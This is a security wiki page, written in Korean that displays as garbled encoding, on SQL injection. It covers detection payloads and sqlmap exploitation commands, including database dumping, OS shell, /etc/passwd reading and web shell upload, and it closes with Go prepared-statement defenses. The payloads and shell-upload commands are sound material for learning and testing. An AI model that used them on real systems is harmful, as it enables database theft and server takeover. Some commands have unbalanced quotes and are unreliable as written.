SQL Injection

SQL Injection

๐Ÿ” Introduction

SQL Injection์€ ๊ณต๊ฒฉ์ž๊ฐ€ Application์—์„œ ์‚ฌ์šฉ๋˜๋Š” SQL Query ๋ฒ—์–ด๋‚˜ ์˜๋„ํ•œ SQL Query๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ SQL Query๋กœ ์—ฐ๊ฒฐ๋˜๋Š” ์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ตฌ๊ฐ„์ด ์ฃผ๋กœ ์ทจ์•ฝํ•œ ๋ถ€๋ถ„์ด๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด DB๋‚ด ๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ๋ฅผ ์กฐํšŒํ•˜๊ฑฐ๋‚˜, ์„ค์ •์— ๋”ฐ๋ผ ์‹œ์Šคํ…œ ๊ถŒํ•œ๊นŒ์ง€ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

Error base

์ž˜๋ชป๋œ SQL Query๋ฅผ ์ฒ˜๋ฆฌํ•˜๋ ค๊ณ  ํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์—๋Ÿฌ๋ฅผ ํ†ตํ•ด์„œ SQL Injection์˜ ๊ฐ€๋Šฅ์„ฑ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Warning: mysql_fetch_array() expects parameter 1 to be resource, null given in /hj/var/www/listproducts.php on line 74

์ž์„ธํ•œ ์—๋Ÿฌ๊ฐ€ ๋‚˜ํƒ€๋‚˜๋Š” ๊ฒฝ์šฐ ์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์–ด๋–ค SQL Query ๊ตฌ๋ฌธ์ด ๊ตฌ์„ฑ ๋˜์—ˆ๋Š”์ง€, ๊ณต๊ฒฉ์ž๊ฐ€ ์ถ”์ธกํ•˜๊ณ  ์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์›ํ•˜๋Š” SQL Query๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ณต๊ฒฉ์ฝ”๋“œ๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Payload: param=GTID_SUBSET(CONCAT(0x7178707871,(SELECT (ELT(7761=7761,1))),0x716b767871),7761)

Boolean base

SQL ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด ์ž„์˜๋กœ false๋‚˜ true๊ฐ€ ๋ฐœ์ƒํ•˜๋„๋ก ํ•˜์—ฌ SQL Injection์˜ ์—ฌ๋ถ€๋ฅผ ์ฒดํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Payload: param=' or 1=1
=> {"name":"alice"}

Payload: param=' or 1=2
=> {"name":""}

[blind] Timinig base

์„œ๋ฒ„์—์„œ ์—๋Ÿฌ ํ•ธ๋“ค๋ง์„ ํ•˜์—ฌ ์‚ฌ์šฉ์ž์—๊ฒŒ ์—๋Ÿฌ๋ฅผ ๋ณด์—ฌ์ฃผ์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ๋˜๋Š” Boolean ์—ฌ๋ถ€๋ฅผ ์•Œ ์ˆ˜ ์—†๋Š” ํ™˜๊ฒฝ์—์„  ์‰ฝ๊ฒŒ ๊ณต๊ฒฉ์˜ ์„ฑ๊ณต ์œ ๋ฌด๋ฅผ ํŒ๋‹จํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ sleep() ๊ตฌ๋ฌธ ๋“ฑ์„ ์ด์šฉํ•˜์—ฌ ์„œ๋ฒ„์—์„œ Delay ๋˜๋Š” time์„ ๊ณ„์‚ฐํ•˜๊ณ , ์‹ค์ œ ์ฟผ๋ฆฌ๊ฐ€ ์‹คํ–‰๋ฌ๋Š”์ง€ ์ฒดํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Payload: param=(CASE WHEN (9835=9835) THEN SLEEP(5) ELSE 9835 END)

Detect with SQLMap

SQLMap์€ SQL Injection์„ ํƒ์ง€ํ•˜๊ณ , Exploit ํ•˜๊ธฐ ์œ„ํ•œ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•˜๋ฉด ๋น ๋ฅด๊ฒŒ ์—ฌ๋Ÿฌ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜ sqlmap ์ปฌ๋ฆฌ๋„Œ ์œ„ํ‚ค๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

https://www.hahwul.com/cullinan/sqlmap/

Exploitation

All databases - sqlmap

sqlmap -u "https://google.com/?q=1 --dbs

All tables in db - sqlmap

sqlmap -u "https://google.com/?q=1 --tables -D "DB-NAME"

All columns in table - sqlmap

sqlmap -u "https://google.com/?q=1 -D "DB-NAME" -T "TABLE-NAME" -columns

Dumped contents - sqlmap

sqlmap -u "https://google.com/?q=1 -D "DB-NAME" -T "TABLE-NAME" -dump

Get Shell - sqlmap

Get OS Shell

sqlmap -u "https://google.com/?q=1 --os-shell

Get SQL Shell - sqlmap

sqlmap -u "https://google.com/?q=1 --sql-shell

R/W File - sqlmap

Read File

sqlmap -u "https://google.com/?q=1" --file-read '/etc/passwd'

Write File

sqlmap -u "https://google.com/?q=1" --file-write './shell.php' --file-dest '/apache/public/shell.php'

Bypass protection

XSS์™€ ๋™์ผํ•˜๊ฒŒ Encoding, Bypass WAF๋“ฑ ์—ฌ๋Ÿฌ๊ฐ€์ง€ ์šฐํšŒ ๋ฐฉ๋ฒ•๋“ค์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ PayloadAllTheThings๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”!

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

๐Ÿ›ก Defensive techniques

PreparedStatement

PreparedStatement๋Š” DB Query๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์ „์— ๋ฏธ๋ฆฌ ์ค€๋น„ํ•œ Statement์ž…๋‹ˆ๋‹ค. PreparedStatement๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ธฐ์กด์— ๋ฏธ๋ฆฌ ์ •์˜ํ•œ ํŒจํ„ด์˜ SQL Query๋ฅผ ๋ฒ—์–ด๋‚  ์ˆ˜ ์—†๊ฒŒ ๋˜์–ด SQL Injection์— ํšจ๊ณผ์ ์œผ๋กœ ๋Œ€์‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Golang์˜ PreparedStatement

// AlbumByID retrieves the specified album.
func AlbumByID(id int) (Album, error) {
    // Define a prepared statement. You'd typically define the statement
    // elsewhere and save it for use in functions such as this one.
    stmt, err := db.Prepare("SELECT * FROM album WHERE id = ?")
    if err != nil {
        log.Fatal(err)
    }

    var album Album

    // Execute the prepared statement, passing in an id value for the
    // parameter whose placeholder is ?
    err := stmt.QueryRow(id).Scan(&album.ID, &album.Title, &album.Artist, &album.Price, &album.Quantity)
    if err != nil {
        if err == sql.ErrNoRows {
            // Handle the case of no rows returned.
        }
        return album, err
    }
    return album, nil
}

User Input Protection

๋งŒ์•ฝ PreparedStatement์™€ ๊ฐ™์ด ๋ฏธ๋ฆฌ ์ •์˜๋œ Statement, ๋˜๋Š” Framework์˜ ๊ธฐ๋Šฅ๋“ค์„ ์ด์šฉํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ ์‚ฌ์šฉ์ž๋กœ ๋ถ€ํ„ฐ ๋ฐ›์•„ ์‚ฌ์šฉํ•˜๋Š” ์ž…๋ ฅ ๊ตฌ๊ฐ„์—๋Š” ๋ชจ๋‘ SQL Injection์— ๋Œ€ํ•œ Protection์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

DB Query๋กœ ์—ฐ๊ฒฐ๋˜๋Š” ๋ฐ์ดํ„ฐ๋Š” ๋ฏธ๋ฆฌ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ํƒ€์ž…์˜ ๊ฐ’๋งŒ ๋ฐ›์•„์•ผํ•˜๋ฉฐ, SQL Injection์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ํŠน์ˆ˜๋ฌธ์ž๋“ฑ์€ ์ œํ•œํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

๐Ÿ•น Tools

๐Ÿ“š Articles

๐Ÿ“Œ References